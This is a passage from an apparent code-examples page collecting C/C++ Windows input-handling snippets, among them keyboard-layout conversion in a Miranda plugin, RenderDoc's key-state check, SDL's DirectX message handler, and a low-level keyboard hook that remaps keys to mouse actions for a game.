event.hContact = 0;
event.dwFlags = 0;
event.iType = IEE_GET_SELECTION;
event.hwnd = hwnd3;
TCHAR *selected = (TCHAR *)CallService(MS_IEVIEW_EVENT, 0, (LPARAM)&event);
mir_tstrncpy(buf, selected, _countof(buf));
}
else GetWindowText(hwnd2, buf, _countof(buf)); // gimme, gimme, gimme...
size_t slen = mir_tstrlen(buf);
if (slen != 0) {
HKL hkl;
ActivateKeyboardLayout((HKL)HKL_NEXT, KLF_ACTIVATE); // go to next layout before....
hkl = GetKeyboardLayout(dwThreadID);
ActivateKeyboardLayout((HKL)HKL_PREV, KLF_ACTIVATE); // return to prev layout
if (ServiceExists(MS_SMILEYADD_BATCHPARSE)) {
memset(&smgp, 0, sizeof(smgp));
smgp.cbSize = sizeof(smgp);
smgp.str = buf;
smgp.flag = SAFL_TCHAR;
smileyPrs = (SMADD_BATCHPARSERES *)CallService(MS_SMILEYADD_BATCHPARSE, 0, (LPARAM)&smgp);
}
for (size_t i = 0; i < slen; i++) {
SHORT vks;
BYTE keys[256] = { 0 };
vks = VkKeyScanEx(buf[i], hkl);
keys[VK_SHIFT] = (HIBYTE(vks) & 1) ? 0xFF : 0x00; // shift
keys[VK_CONTROL] = (HIBYTE(vks) & 2) ? 0xFF : 0x00; // ctrl
keys[VK_MENU] = (HIBYTE(vks) & 4) ? 0xFF : 0x00; // alt
if (!isItSmiley(DWORD(i))) {
TCHAR tchr;
if (ToUnicodeEx(LOBYTE(vks), 0, keys, &tchr, 1, 0, GetKeyboardLayout(dwThreadID)) == 1)
buf[i] = tchr;
}
}
if (smileyPrs != NULL)
CallService(MS_SMILEYADD_BATCHFREE, 0, (LPARAM)smileyPrs);
POPUPDATAT pd = { 0 };
pd.lchIcon = IcoLib_GetIcon("Switch Layout and Send");
mir_tstrncpy(pd.lptzText, buf, _countof(pd.lptzText));
mir_tstrncpy(pd.lptzContactName, TranslateT("TranslitSwitcher"), _countof(pd.lptzContactName));
PUAddPopupT(&pd);
}
}
else if (mir_tstrcmpi(szClassName, _T("RichEdit50W")) == 0) {
size_t i, start = 0, end = 0;
SHORT vks;
BYTE keys[256] = { 0 };
HKL hkl = GetKeyboardLayout(dwThreadID);
DWORD dwStart, dwEnd, dwFlags = SF_TEXT | SF_UNICODE;
SendMessage(hwnd2, EM_GETSEL, (WPARAM)&dwStart, (LPARAM)&dwEnd);
bool somethingIsSelected = (dwStart != dwEnd);
if (somethingIsSelected)
dwFlags += SFF_SELECTION;
TCHAR *sel = Message_GetFromStream(hwnd2, dwFlags);
size_t slen = mir_tstrlen(sel);
if (slen != 0) {
if (ServiceExists(MS_SMILEYADD_BATCHPARSE)) {
memset(&smgp, 0, sizeof(smgp));
smgp.cbSize = sizeof(smgp);
smgp.str = sel;
smgp.flag = SAFL_TCHAR;
smileyPrs = (SMADD_BATCHPARSERES *)CallService(MS_SMILEYADD_BATCHPARSE, 0, (LPARAM)&smgp);
}
end = slen;
if (lastword && !somethingIsSelected) {
end = (size_t)dwStart;
while (end < slen) {
if (_istspace(sel[end]) || isItSmiley((int)end))
//.........这里部分代码省略.........
示例13: GetKeyState
bool GetKeyState(int key)
{
int vk = 0;
if(key >= eRENDERDOC_Key_A && key <= eRENDERDOC_Key_Z)
vk = key;
if(key >= eRENDERDOC_Key_0 && key <= eRENDERDOC_Key_9)
vk = key;
switch(key)
{
case eRENDERDOC_Key_Divide: vk = VK_DIVIDE; break;
case eRENDERDOC_Key_Multiply: vk = VK_MULTIPLY; break;
case eRENDERDOC_Key_Subtract: vk = VK_SUBTRACT; break;
case eRENDERDOC_Key_Plus: vk = VK_ADD; break;
case eRENDERDOC_Key_F1: vk = VK_F1; break;
case eRENDERDOC_Key_F2: vk = VK_F2; break;
case eRENDERDOC_Key_F3: vk = VK_F3; break;
case eRENDERDOC_Key_F4: vk = VK_F4; break;
case eRENDERDOC_Key_F5: vk = VK_F5; break;
case eRENDERDOC_Key_F6: vk = VK_F6; break;
case eRENDERDOC_Key_F7: vk = VK_F7; break;
case eRENDERDOC_Key_F8: vk = VK_F8; break;
case eRENDERDOC_Key_F9: vk = VK_F9; break;
case eRENDERDOC_Key_F10: vk = VK_F10; break;
case eRENDERDOC_Key_F11: vk = VK_F11; break;
case eRENDERDOC_Key_F12: vk = VK_F12; break;
case eRENDERDOC_Key_Home: vk = VK_HOME; break;
case eRENDERDOC_Key_End: vk = VK_END; break;
case eRENDERDOC_Key_Insert: vk = VK_INSERT; break;
case eRENDERDOC_Key_Delete: vk = VK_DELETE; break;
case eRENDERDOC_Key_PageUp: vk = VK_PRIOR; break;
case eRENDERDOC_Key_PageDn: vk = VK_NEXT; break;
case eRENDERDOC_Key_Backspace: vk = VK_BACK; break;
case eRENDERDOC_Key_Tab: vk = VK_TAB; break;
case eRENDERDOC_Key_PrtScrn: vk = VK_SNAPSHOT; break;
case eRENDERDOC_Key_Pause: vk = VK_PAUSE; break;
default: break;
}
if(vk == 0)
return false;
bool keydown = GetAsyncKeyState(vk) != 0;
if(inputWindows.empty() || !keydown)
return keydown;
for(auto it = inputWindows.begin(); it != inputWindows.end(); ++it)
{
HWND w = *it;
HWND fore = GetForegroundWindow();
while(w)
{
if(w == fore)
return keydown;
w = GetParent(w);
}
}
return false;
}
示例14: DX5_HandleMessage
/* The main Win32 event handler */
LONG
DX5_HandleMessage(_THIS, HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg) {
#ifdef WM_ACTIVATEAPP
case WM_ACTIVATEAPP: {
int i, active;
active = (wParam && (GetForegroundWindow() == hwnd));
if ( active ) {
for ( i=0; SDL_DIdev[i]; ++i ) {
IDirectInputDevice2_Acquire(
SDL_DIdev[i]);
}
} else {
for ( i=0; SDL_DIdev[i]; ++i ) {
IDirectInputDevice2_Unacquire(
SDL_DIdev[i]);
}
mouse_lost = 1;
}
}
break;
#endif /* WM_ACTIVATEAPP */
#ifdef WM_DISPLAYCHANGE
case WM_DISPLAYCHANGE: {
WORD BitsPerPixel;
WORD SizeX, SizeY;
/* Ack! The display changed size and/or depth! */
SizeX = LOWORD(lParam);
SizeY = HIWORD(lParam);
BitsPerPixel = wParam;
/* We cause this message when we go fullscreen */
}
break;
#endif /* WM_DISPLAYCHANGE */
/* The keyboard is handled via DirectInput */
case WM_SYSKEYUP:
case WM_SYSKEYDOWN:
case WM_KEYUP:
case WM_KEYDOWN: {
/* Ignore windows keyboard messages */;
}
return(0);
#if defined(SC_SCREENSAVE) || defined(SC_MONITORPOWER)
/* Don't allow screen savers or monitor power downs.
This is because they quietly clear DirectX surfaces.
It would be better to allow the application to
decide whether or not to blow these off, but the
semantics of SDL_PrivateSysWMEvent() don't allow
the application that choice.
*/
case WM_SYSCOMMAND: {
if ((wParam&0xFFF0)==SC_SCREENSAVE ||
(wParam&0xFFF0)==SC_MONITORPOWER)
return(0);
}
/* Fall through to default processing */
#endif /* SC_SCREENSAVE || SC_MONITORPOWER */
default: {
/* Only post the event if we're watching for it */
if ( SDL_ProcessEvents[SDL_SYSWMEVENT] == SDL_ENABLE ) {
SDL_SysWMmsg wmmsg;
SDL_VERSION(&wmmsg.version);
wmmsg.hwnd = hwnd;
wmmsg.msg = msg;
wmmsg.wParam = wParam;
wmmsg.lParam = lParam;
posted = SDL_PrivateSysWMEvent(&wmmsg);
/* DJM: If the user isn't watching for private
messages in her SDL event loop, then pass it
along to any win32 specific window proc.
*/
} else if (userWindowProc) {
return CallWindowProc(userWindowProc, hwnd, msg, wParam, lParam);
}
}
break;
}
return(DefWindowProc(hwnd, msg, wParam, lParam));
}
示例15: LowLevelKeyboardProc
//HHOOK m_hkeyboard; //handler of keyboard hook
LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
//Find the front window
topWnd = GetForegroundWindow();
PKBDLLHOOKSTRUCT kbstruct;
kbstruct=(PKBDLLHOOKSTRUCT)lParam;
DWORD dtemp = kbstruct->vkCode;//vkCode is the press buttom
//we need to read keys configure from gameconfiguration.xml
char ch_Temp = char(dtemp); /*- 0x41 + char('A');*/
char ch_Corl;//doesn't take double key into account
map<string , string>::iterator iter_Key = map_Key.begin();
bool found = false;
if(ch_Temp >= 96)
{
ch_Temp = ch_Temp - 96 + 48;
}
if(topWnd == m_hgame)
{
string str_Temp;
str_Temp.clear();
str_Temp.push_back(ch_Temp);
if(WM_KEYDOWN == int(wParam))
{
/*int key_value = ch_Corl - char('A') + 0x41;
keybd_event(key_value,0,0,0);*/
switch (dtemp)
{
case 0x58:
mouse_event(MOUSEEVENTF_LEFTDOWN , 0 , 0 , 0 , 0);
return 1;
case char('A'):
mouse_event(MOUSEEVENTF_MOVE , -10 , 0 , 0 , 0);
return 1;
case char('S'):
mouse_event(MOUSEEVENTF_MOVE , 10 , 0 , 0 , 0);
return 1;
case char('W'):
mouse_event(MOUSEEVENTF_MOVE , 0 , 10 , 0 , 0);
return 1;
case char('E'):
mouse_event(MOUSEEVENTF_MOVE , 0 , -10 , 0 , 0);
return 1;
default:
break;
}
}
if(WM_KEYUP == int(wParam))
{
if(VK_RETURN == dtemp)
{
mouse_event(MOUSEEVENTF_LEFTUP , 0 , 0 , 0 , 0);
return 1;
}
}
while(map_Key.end() != iter_Key)
{
if(0 == iter_Key->first.compare(str_Temp))
{
found = true;
//ch_Corl = *(iter_Key->second.c_str());
break;
}
iter_Key++;
}
if(found)
{
if(1 == iter_Key->second.length())
{
ch_Corl = *(iter_Key->second.c_str());
if(WM_KEYDOWN == int(wParam))
{
int key_value = ch_Corl; /*- char('A') + 0x41;*/
keybd_event(key_value,0,0,0);
return 1;
}
if(WM_KEYUP == int(wParam))
{
int key_value = ch_Corl;/* - char('A') + 0x41;*/
keybd_event(key_value,0,KEYEVENTF_KEYUP,0);
return 1;
}
}
else
{
int key_value;
if(0 == string("UP").compare(iter_Key->second))
{
key_value = 0x26;
}
else if(0 == string("LEFT").compare(iter_Key->second))
{
key_value = 0x25;
//.........这里部分代码省略.........